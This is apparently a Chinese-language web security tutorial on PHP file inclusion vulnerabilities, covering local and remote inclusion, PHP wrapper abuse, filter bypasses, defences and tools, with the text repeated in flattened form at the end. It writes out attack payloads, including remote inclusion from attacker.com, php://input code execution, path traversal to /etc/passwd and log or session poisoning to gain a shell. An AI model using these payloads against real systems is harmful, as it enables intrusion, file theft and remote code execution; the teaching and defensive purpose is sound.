文件包含漏洞
字数 1400 2025-08-12 11:34:00

文件包含漏洞详解

一、文件包含漏洞概述

文件包含漏洞是指通过PHP的包含函数(include、require、include_once、require_once)不当使用,导致攻击者能够包含并执行恶意文件的安全漏洞。

包含函数区别

  • include:包含失败时产生警告(E_WARNING),脚本继续执行
  • require:包含失败时产生致命错误(E_COMPILE_ERROR),脚本停止执行
  • include_once/require_once:功能相同,但会检查文件是否已被包含过,避免重复包含

二、文件包含漏洞类型

1. 本地文件包含(LFI - Local File Inclusion)

攻击者能够包含服务器本地的文件,可能导致:

  • 敏感信息泄露(如/etc/passwd)
  • 源代码泄露
  • 配合文件上传实现代码执行

2. 远程文件包含(RFI - Remote File Inclusion)

攻击者能够包含远程服务器上的文件,直接导致任意代码执行。

必要条件

  • allow_url_fopen=On(允许将URL作为文件打开)
  • allow_url_include=On(允许包含远程文件)

三、漏洞检测方法

  1. 尝试包含已知存在的本地文件:

    ?file=../../../../etc/passwd
    
  2. 尝试包含远程文件:

    ?file=http://attacker.com/shell.txt
    
  3. 使用PHP伪协议测试:

    ?file=php://filter/convert.base64-encode/resource=index.php
    

四、PHP伪协议利用

1. file://

访问本地文件系统,默认协议

?file=file:///etc/passwd

2. php://filter

用于读取文件内容并进行编码处理,常用于读取源代码

基本语法

php://filter/read=<过滤器>/resource=<文件路径>

常用过滤器

  • convert.base64-encode:Base64编码
  • convert.iconv.*:字符编码转换
  • string.rot13:ROT13编码
  • string.toupper/string.tolower:大小写转换

示例

?file=php://filter/read=convert.base64-encode/resource=index.php

3. php://input

允许访问请求的原始数据,配合POST请求执行代码

示例

POST /vul.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>

4. data://

直接包含数据流

示例

?file=data://text/plain,<?php phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

5. zip://

访问压缩包中的文件

示例

?file=zip:///path/to/file.zip%23shell.php

6. phar://

PHP归档协议,类似于zip://

示例

?file=phar:///path/to/file.phar/shell.php

五、绕过技巧

1. 路径遍历

?file=../../../../etc/passwd
?file=....//....//....//etc/passwd

2. 截断技巧(PHP<5.3)

?file=../../../../etc/passwd%00
?file=../../../../etc/passwd/.

3. 编码绕过

?file=..%2F..%2F..%2Fetc%2Fpasswd
?file=%252e%252e%252fetc%252fpasswd

4. 配合文件上传

上传图片马后包含:

?file=./upload/tmp/evil.jpg

六、防御措施

  1. 关闭不必要的PHP配置:

    allow_url_fopen=Off
    allow_url_include=Off
    
  2. 对包含的文件参数进行严格过滤:

    • 白名单方式限制包含的文件名
    • 禁止目录跳转字符(../)
    • 检查文件后缀
  3. 设置open_basedir限制文件访问范围

  4. 避免动态包含变量,如必须使用,应对输入进行严格校验

  5. 使用realpath()函数规范化路径

七、实战利用场景

  1. 读取敏感文件

    ?file=/etc/passwd
    ?file=../../../../var/www/html/config.php
    
  2. 远程代码执行

    ?file=http://attacker.com/shell.txt
    
  3. 配合日志文件getshell

    ?file=../../../../var/log/apache2/access.log
    

    然后访问包含PHP代码的URL使日志记录

  4. 配合PHP SESSION文件getshell

    ?file=../../../../tmp/sess_[sessionid]
    

    先设置session包含恶意代码

  5. 配合/proc/self/environ

    ?file=../../../../proc/self/environ
    

    通过User-Agent注入PHP代码

八、相关配置检查

检查php.ini中以下配置:

allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html/:/tmp/

九、自动化工具

  1. Kadimus:LFI扫描和利用工具
  2. LFISuite:自动化LFI利用工具
  3. Burp Suite:手动测试和利用

通过全面理解文件包含漏洞的原理、利用方式和防御措施,可以有效提高Web应用的安全性,防止此类漏洞被恶意利用。

文件包含漏洞详解 一、文件包含漏洞概述 文件包含漏洞是指通过PHP的包含函数(include、require、include_ once、require_ once)不当使用,导致攻击者能够包含并执行恶意文件的安全漏洞。 包含函数区别 include :包含失败时产生警告(E_ WARNING),脚本继续执行 require :包含失败时产生致命错误(E_ COMPILE_ ERROR),脚本停止执行 include_once / require_once :功能相同,但会检查文件是否已被包含过,避免重复包含 二、文件包含漏洞类型 1. 本地文件包含(LFI - Local File Inclusion) 攻击者能够包含服务器本地的文件,可能导致: 敏感信息泄露(如/etc/passwd) 源代码泄露 配合文件上传实现代码执行 2. 远程文件包含(RFI - Remote File Inclusion) 攻击者能够包含远程服务器上的文件,直接导致任意代码执行。 必要条件 : allow_url_fopen=On (允许将URL作为文件打开) allow_url_include=On (允许包含远程文件) 三、漏洞检测方法 尝试包含已知存在的本地文件: 尝试包含远程文件: 使用PHP伪协议测试: 四、PHP伪协议利用 1. file:// 访问本地文件系统,默认协议 2. php://filter 用于读取文件内容并进行编码处理,常用于读取源代码 基本语法 : 常用过滤器 : convert.base64-encode :Base64编码 convert.iconv.* :字符编码转换 string.rot13 :ROT13编码 string.toupper / string.tolower :大小写转换 示例 : 3. php://input 允许访问请求的原始数据,配合POST请求执行代码 示例 : 4. data:// 直接包含数据流 示例 : 5. zip:// 访问压缩包中的文件 示例 : 6. phar:// PHP归档协议,类似于zip:// 示例 : 五、绕过技巧 1. 路径遍历 2. 截断技巧(PHP <5.3) 3. 编码绕过 4. 配合文件上传 上传图片马后包含: 六、防御措施 关闭不必要的PHP配置: 对包含的文件参数进行严格过滤: 白名单方式限制包含的文件名 禁止目录跳转字符(../) 检查文件后缀 设置open_ basedir限制文件访问范围 避免动态包含变量,如必须使用,应对输入进行严格校验 使用realpath()函数规范化路径 七、实战利用场景 读取敏感文件 : 远程代码执行 : 配合日志文件getshell : 然后访问包含PHP代码的URL使日志记录 配合PHP SESSION文件getshell : 先设置session包含恶意代码 配合/proc/self/environ : 通过User-Agent注入PHP代码 八、相关配置检查 检查php.ini中以下配置: 九、自动化工具 Kadimus :LFI扫描和利用工具 LFISuite :自动化LFI利用工具 Burp Suite :手动测试和利用 通过全面理解文件包含漏洞的原理、利用方式和防御措施,可以有效提高Web应用的安全性,防止此类漏洞被恶意利用。